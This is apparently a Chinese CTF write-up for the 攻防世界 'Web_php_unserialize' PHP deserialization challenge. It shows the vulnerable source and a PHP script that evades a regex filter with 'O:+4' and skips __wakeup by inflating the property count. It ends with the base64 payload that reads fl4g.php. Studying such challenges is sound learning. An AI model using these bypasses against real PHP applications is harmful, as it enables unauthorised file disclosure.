90,【6】攻防世界 WEB Web_php_unserialize

进入靶场
进入靶场
<?php
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,默认值为 'index.php'private $file = 'index.php';// 构造函数,当创建类的实例时会自动调用// 接收一个参数 $file,用于初始化对象的 $file 属性public function __construct($file) { $this->file = $file; }// 析构函数,当对象被销毁时自动调用// 使用 highlight_file 函数以高亮语法显示 $this->file 指定的文件内容// @ 符号用于抑制可能出现的错误信息// true 参数表示将高亮显示的内容作为字符串返回,而不是直接输出function __destruct() { echo @highlight_file($this->file, true); }// __wakeup 魔术方法,当对象被反序列化时自动调用// 该方法用于检查反序列化后的 $this->file 属性值// 如果 $this->file 不等于 'index.php',则将其重置为 'index.php'// 注释中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) { // 如果存在 'var' 参数,对其进行 Base64 解码$var = base64_decode($_GET['var']); // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串// /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 开头,后面跟着一个冒号,再跟着一个或多个数字,最后再跟着一个冒号的字符串// i 修饰符表示不区分大小写if (preg_match('/[oc]:\d+:/i', $var)) { // 如果匹配到,则输出 'stop hacking!' 并终止脚本执行die('stop hacking!'); } else {// 如果没有匹配到,则尝试对解码后的字符串进行反序列化// @ 符号用于抑制可能出现的错误信息@unserialize($var); }
} else { // 如果没有传递 'var' 参数,则以高亮语法显示当前文件(index.php)的内容highlight_file("index.php");
}
?>
我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数
考点分析
- PHP 反序列化:理解 PHP 对象的序列化和反序列化机制,以及如何利用反序列化过程中调用的魔术方法(如
__destruct、__wakeup)来执行特定操作。 - 正则过滤绕过:代码中使用正则表达式
/[oc]:\d+:/i对输入进行过滤,需要思考如何绕过这个过滤机制。 - 文件包含:通过控制
$file属性的值,利用highlight_file函数读取目标文件内容。
解题思路
- 构造序列化对象:创建一个
Demo类的对象,并将$file属性设置为目标文件(如fl4g.php),然后对该对象进行序列化。 - 绕过
__wakeup方法:__wakeup方法会在反序列化时将$file属性重置为index.php,需要找到绕过该方法的方法。 - 绕过正则过滤:输入的序列化字符串不能包含正则表达式
/[oc]:\d+:/i匹配的内容。 - Base64 编码:将处理后的序列化字符串进行 Base64 编码,作为
var参数传递给脚本。
php在线运行,在线工具,在线编译IDE_w3cschool
<?php
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,初始值为 'fl4g.php',此文件可能包含我们要找的 flag 信息private $file = 'fl4g.php';
}// 创建一个 Demo 类的实例,并对该实例进行序列化操作
// 序列化是将对象转换为一个字符串,以便于存储或传输
$a = serialize(new Demo);// 原代码中的正则表达式 /[oc]:\d+:/i 会匹配以 'o' 或 'c' 开头,后跟冒号、一个或多个数字,再跟冒号的字符串
// 这里将序列化字符串中的 'O:4' 替换为 'O:+4',是为了绕过 preg_match() 函数的正则匹配
// 因为替换后的字符串不再符合正则表达式的匹配规则,从而避免被检测为恶意输入
$a = str_replace('O:4', 'O:+4',$a);// 在 PHP 反序列化时,如果对象的属性个数与序列化字符串中声明的属性个数不一致
// 且序列化字符串中声明的属性个数大于实际属性个数时,__wakeup() 魔术方法将不会被调用
// Demo 类实际只有一个属性,这里将序列化字符串中的 ':1:'(表示有 1 个属性)替换为 ':2:'
// 以此绕过 __wakeup() 方法,防止其将 $file 属性重置为 'index.php'
$a = str_replace(':1:', ':2:',$a);// 最后对处理后的序列化字符串进行 Base64 编码
// 因为原题目代码会对传入的 'var' 参数进行 Base64 解码操作
// 这样编码后得到的字符串可以作为 'var' 参数的值传递给原题目代码进行反序列化操作
echo base64_encode($a);
?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

笔记
需要对序列化十分熟悉
相关文章:
90,【6】攻防世界 WEB Web_php_unserialize
进入靶场 进入靶场 <?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file,默认值为 index.phpprivate $file index.php;// 构造函数,当创建类的实例时会自动调用// 接收一个参数 $file,用于初始化对象的 $file 属…...
快速提升网站收录:如何设置网站标签?
本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/45.html 为了快速提升网站的收录,合理设置网站标签是至关重要的。网站标签主要包括标题标签(TitleTag)、描述标签(DescriptionTag)…...
【数据分析】案例04:豆瓣电影Top250的数据分析与Web网页可视化(numpy+pandas+matplotlib+flask)
豆瓣电影Top250的数据分析与Web网页可视化(numpy+pandas+matplotlib+flask) 豆瓣电影Top250官网:https://movie.douban.com/top250写在前面 实验目的:实现豆瓣电影Top250详情的数据分析与Web网页可视化。电脑系统:Windows使用软件:PyCharm、NavicatPython版本:Python 3.…...
Banana JS,一个严格子集 JavaScript 的解释器
项目地址:https://github.com/shajunxing/banana-js 特色 我的目标是剔除我在实践中总结的JavaScript语言的没用的和模棱两可的部分,只保留我喜欢和需要的,创建一个最小的语法解释器。只支持 JSON 兼容的数据类型和函数,函数是第…...
2025.2.1——四、php_rce RCE漏洞|PHP框架
题目来源:攻防世界 php_rce 目录 一、打开靶机,整理信息 二、解题思路 step 1:PHP框架漏洞以及RCE漏洞信息 1.PHP常用框架 2.RCE远程命令执行 step 2:根据靶机提示,寻找版本漏洞 step 3:进行攻击…...
从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架(绘图设备封装)
目录 图像层的底层抽象——绘图设备抽象 如何抽象一个绘图设备? 桥接绘图设备,特化为OLED设备 题外话:设备的属性,与设计一个相似函数化简的通用办法 使用函数指针来操作设备 总结一下 图像层的底层抽象——绘图设备抽象 在…...
对比DeepSeek、ChatGPT和Kimi的学术写作撰写引言能力
引言 引言部分引入研究主题,明确研究背景、问题陈述,并提出研究的目的和重要性,最后,概述研究方法和论文结构。 下面我们使用DeepSeek、ChatGPT4以及Kimi辅助引言撰写。 提示词: 你现在是一名[计算机理论专家]&#…...
【C++篇】哈希表
目录 一,哈希概念 1.1,直接定址法 1.2,哈希冲突 1.3,负载因子 二,哈希函数 2.1,除法散列法 /除留余数法 2.2,乘法散列法 2.3,全域散列法 三,处理哈希冲突 3.1&…...
TVM调度原语完全指南:从入门到微架构级优化
调度原语 在TVM的抽象体系中,调度(Schedule)是对计算过程的时空重塑。每一个原语都是改变计算次序、数据流向或并行策略的手术刀。其核心作用可归纳为: 优化目标 max ( 计算密度 内存延迟 指令开销 ) \text{优化目标} \max…...
《解锁AI黑科技:数据分类聚类与可视化》
在当今数字化时代,数据如潮水般涌来,如何从海量数据中提取有价值的信息,成为了众多领域面临的关键挑战。人工智能(AI)技术的崛起,为解决这一难题提供了强大的工具。其中,能够实现数据分类与聚类…...
[MySQL]事务的隔离级别原理与底层实现
目录 1.为什么要有隔离性 2.事务的隔离级别 读未提交 读提交 可重复读 串行化 3.演示事务隔离级别的操作 查看与设置事务的隔离级别 演示读提交操作 演示可重复读操作 1.为什么要有隔离性 在真正的业务场景下,MySQL服务在同一时间一定会有大量的客户端进程…...
数据密码解锁之DeepSeek 和其他 AI 大模型对比的神秘面纱
本篇将揭露DeepSeek 和其他 AI 大模型差异所在。 目录 编辑 一本篇背景: 二性能对比: 2.1训练效率: 2.2推理速度: 三语言理解与生成能力对比: 3.1语言理解: 3.2语言生成: 四本篇小结…...
知识管理系统推动企业知识创新与人才培养的有效途径分析
内容概要 本文旨在深入探讨知识管理系统在现代企业中的应用及其对于知识创新与人才培养的重要性。通过分析知识管理系统的概念,企业可以认识到它不仅仅是信息管理的一种工具,更是提升整体创新能力的战略性资产。知识管理系统通过集成企业内部信息资源&a…...
【数据结构与算法】动态规划
目录 动态规划 1. 基本概念 2. 基本步骤 3. 经典应用场景 4. 优点和局限性 最长递增子序列(中等) 最大子数组和(中等) 动态规划 动态规划是一种用于解决多阶段决策问题的算法思想,它将复杂问题分解为一系列相对…...
ASP.NET Core 中使用依赖注入 (DI) 容器获取并执行自定义服务
目录 一、ASP.NET Core 中使用依赖注入 (DI) 容器获取并执行自定义服务 1. app.Services 2. GetRequiredService() 3. Init() 二、应用场景 三、依赖注入使用拓展 1、使用场景 2、使用步骤 1. 定义服务接口和实现类 2. 注册服务到依赖注入容器 3. 使用依赖注入获取并…...
Nginx知识
nginx 精简的配置文件 worker_processes 1; # 可以理解为一个内核一个worker # 开多了可能性能不好events {worker_connections 1024; } # 一个 worker 可以创建的连接数 # 1024 代表默认一般不用改http {include mime.types;# 代表引入的配置文件# mime.types 在 ngi…...
CSES Missing Coin Sum
思路是对数组排序 设 S [ i ] S[i] S[i] 是数组的前缀和 R [ i ] R[i] R[i] 是递增排序后的数组 遍历数组,如果出现 S [ i − 1 ] 1 < R [ i ] S[i - 1] 1 < R[i] S[i−1]1<R[i],就代表S[i - 1] 1是不能被合成出来的数字 因为:…...
nth_element函数——C++快速选择函数
目录 1. 函数原型 2. 功能描述 3. 算法原理 4. 时间复杂度 5. 空间复杂度 6. 使用示例 8. 注意事项 9. 自定义比较函数 11. 总结 nth_element 是 C 标准库中提供的一个算法,位于 <algorithm> 头文件中,用于部分排序序列。它的主要功能是将…...
Hot100之双指针
283移动零 题目 思路解析 那我们就把不为0的数字都放在数组前面,然后数组后面的数字都为0就行了 代码 class Solution {public void moveZeroes(int[] nums) {int left 0;for (int num : nums) {if (num ! 0) {nums[left] num;// left最后会变成数组中不为0的数…...
DeepSeek-R1论文研读:通过强化学习激励LLM中的推理能力
DeepSeek在朋友圈,媒体,霸屏了好长时间,春节期间,研读一下论文算是时下的回应。论文原址:[2501.12948] DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning 摘要: 我们…...
p1044 栈
两种递推细节不同 1,将1和n在序列末尾的情况单独放出来处理,因为dp[0]0; 2,将所有情况统一处理,这种情况就要要求dp[1]1; 这里的n在解题中可以看做是元素数量 思路是,根据出栈最后一个元素,统计它前面的元素数量的输出序列数和…...
群晖Alist套件无法挂载到群晖webdav,报错【连接被服务器拒绝】
声明:我不是用docker安装的 在套件中心安装矿神的Alist套件后,想把夸克挂载到群晖上,方便复制文件的,哪知道一直报错,最后发现问题出在两个地方: 1)挂载的路径中,直接填 dav &…...
three.js+WebGL踩坑经验合集(6.2):负缩放,负定矩阵和行列式的关系(3D版本)
本篇将紧接上篇的2D版本对3D版的负缩放矩阵进行解读。 (6.1):负缩放,负定矩阵和行列式的关系(2D版本) 既然three.js对3D版的负缩放也使用行列式进行判断,那么,2D版的结论用到3D上其实是没毛病的,THREE.Li…...
【ubuntu】双系统ubuntu下一键切换到Windows
ubuntu下一键切换到Windows 1.4.1 重启脚本1.4.2 快捷方式1.4.3 移动快捷方式到系统目录 按前文所述文档,开机默认启动ubuntu。Windows切换到Ubuntu直接重启就行了,而Ubuntu切换到Windows稍微有点麻烦。可编辑切换重启到Windows的快捷方式。 1.4.1 重启…...
力扣第149场双周赛
文章目录 题目总览题目详解找到字符串中合法的相邻数字重新安排会议得到最多空余时间I 第149场双周赛 题目总览 找到字符串中合法的相邻数字 重新安排会议得到最多空余时间I 重新安排会议得到最多空余时间II 变成好标题的最少代价 题目详解 找到字符串中合法的相邻数字 思…...
在线课堂小程序设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
https的原理
HTTPS 的原理 HTTPS(HyperText Transfer Protocol Secure)是一种通过计算机网络进行安全通信的传输协议。它在 HTTP 的基础上增加了 SSL/TLS 协议,以实现数据传输的安全性和完整性。以下是 HTTPS 的基本原理: 1. 基本概念 HTTP…...
当卷积神经网络遇上AI编译器:TVM自动调优深度解析
从铜线到指令:硬件如何"消化"卷积 在深度学习的世界里,卷积层就像人体中的毛细血管——数量庞大且至关重要。但鲜有人知,一个简单的3x3卷积在CPU上的执行路径,堪比北京地铁线路图般复杂。 卷积的数学本质 对于输入张…...
Flask 使用Flask-SQLAlchemy操作数据库
username db.Column(db.String(64), uniqueTrue, indexTrue); password db.Column(db.String(64)); 建立对应关系 如果是多对多关系就建一张表,关联两个表的id role_id db.Column(db.Integer, db.ForeignKey(‘roles.id’)) ‘’’ 帮助作关联查询 relati…...
[EAI-023] FAST,机器人动作专用的Tokenizer,提高VLA模型的能力和训练效率
Paper Card 论文标题:FAST: Efficient Action Tokenization for Vision-Language-Action Models 论文作者:Karl Pertsch, Kyle Stachowicz, Brian Ichter, Danny Driess, Suraj Nair, Quan Vuong, Oier Mees, Chelsea Finn, Sergey Levine 论文链接&…...
